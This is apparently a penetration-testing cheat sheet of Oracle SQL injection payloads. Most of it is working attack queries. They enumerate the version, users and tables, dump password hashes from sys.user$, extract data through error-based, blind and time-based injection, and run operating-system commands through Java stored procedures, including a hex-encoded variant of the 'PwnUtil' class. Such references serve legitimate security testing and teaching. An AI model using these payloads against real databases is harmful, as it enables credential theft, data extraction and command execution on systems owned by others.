# Oracle SQL Injection

## Summary

* [Oracle SQL Default Databases](#oracle-sql-default-databases)
* [Oracle SQL Comments](#oracle-sql-comments)
* [Oracle SQL Version](#oracle-sql-version)
* [Oracle SQL Hostname](#oracle-sql-hostname)
* [Oracle SQL Database Name](#oracle-sql-database-name)
* [Oracle SQL Database Credentials](#oracle-sql-database-credentials)
* [Oracle SQL List databases](#oracle-sql-list-databases)
* [Oracle SQL List columns](#oracle-sql-list-columns)
* [Oracle SQL List tables](#oracle-sql-list-tables)
* [Oracle SQL Error Based](#oracle-sql-error-based)
* [Oracle SQL Blind](#oracle-sql-blind)
* [Oracle SQL Time Based](#oracle-sql-time-based)
* [Oracle SQL Command execution](#oracle-sql-command-execution)
* [References](#references)


## Oracle SQL Default Databases

| Name               | Description               |
|--------------------|---------------------------|
| SYSTEM             | Available in all versions |
| SYSAUX             | Available in all versions |


## Oracle SQL Comments

| Type                       | Description                       |
|----------------------------|-----------------------------------|
| `-- -`                     | SQL comment                       |


## Oracle SQL Version

```sql
SELECT user FROM dual UNION SELECT * FROM v$version
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
```

## Oracle SQL Hostname

```sql
SELECT host_name FROM v$instance; (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
SELECT UTL_INADDR.get_host_address FROM dual;
```


## Oracle SQL Database Name

```sql
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
```

## Oracle SQL Database Credentials

| Query                                   | Description               |
|-----------------------------------------|---------------------------|
| `SELECT username FROM all_users;`       | Available on all versions |
| `SELECT name, password from sys.user$;` | Privileged, <= 10g        |
| `SELECT name, spare4 from sys.user$;`   | Privileged, <= 11g        |


## Oracle SQL List Databases

```sql
SELECT DISTINCT owner FROM all_tables;
```

## Oracle SQL List Columns

```sql
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
```

## Oracle SQL List Tables

```sql
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```

## Oracle SQL Error based

| Description  | Query  |
| :------------- | :------------- |
| Invalid HTTP Request  | SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual |
| CTXSYS.DRITHSX.SN     | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
| Invalid XPath         | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
| Invalid XML           | SELECT to_char(dbms_xmlgen.getxml('select "'&#124;&#124;(select user from sys.dual)&#124;&#124;'" FROM sys.dual')) FROM dual |
| Invalid XML           | SELECT rtrim(extract(xmlagg(xmlelement("s", username &#124;&#124; ',')),'/s').getstringval(),',') FROM all_users |
| SQL Error             | SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) |


## Oracle SQL Blind

| Description | Query |
| :------------- | :------------- |
| Version is 12.2	       | SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%'; |
| Subselect is enabled	 | SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual) |
| Table log_table exists | SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table); |
| Column message exists in table log_table | SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE'; |
| First letter of first message is t | SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%'; |


## Oracle SQL Time based

```sql
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 
```


## Oracle SQL Command Execution

* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)

### Oracle Java Execution

* List Java privileges
    ```sql
    select * from dba_java_policy
    select * from user_java_policy
    ```
* Grant privileges
    ```sql
    exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
    exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
    exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
    ```
* Execute commands
    * 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()`
    ```sql
    SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
    SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
    ```
    * 11g R1 and R2: `DBMS_JAVA.RUNJAVA()`
    ```sql
    SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
    ```


### Oracle Java Class

```sql
/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```

or (hex encoded)

```sql
/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```

## References

* [NetSpi - SQL Wiki](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)
* [ASDC12 - New and Improved Hacking Oracle From Web](https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf)
* [Pentesting Oracle TNS Listener - HackTricks](https://book.hacktricks.xyz/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener)
* [ODAT: Oracle Database Attacking Tool](https://github.com/quentinhardy/odat/wiki/privesc)
* [WebSec CheatSheet - Oracle](https://www.websec.ca/kb/sql_injection#Oracle_Default_Databases)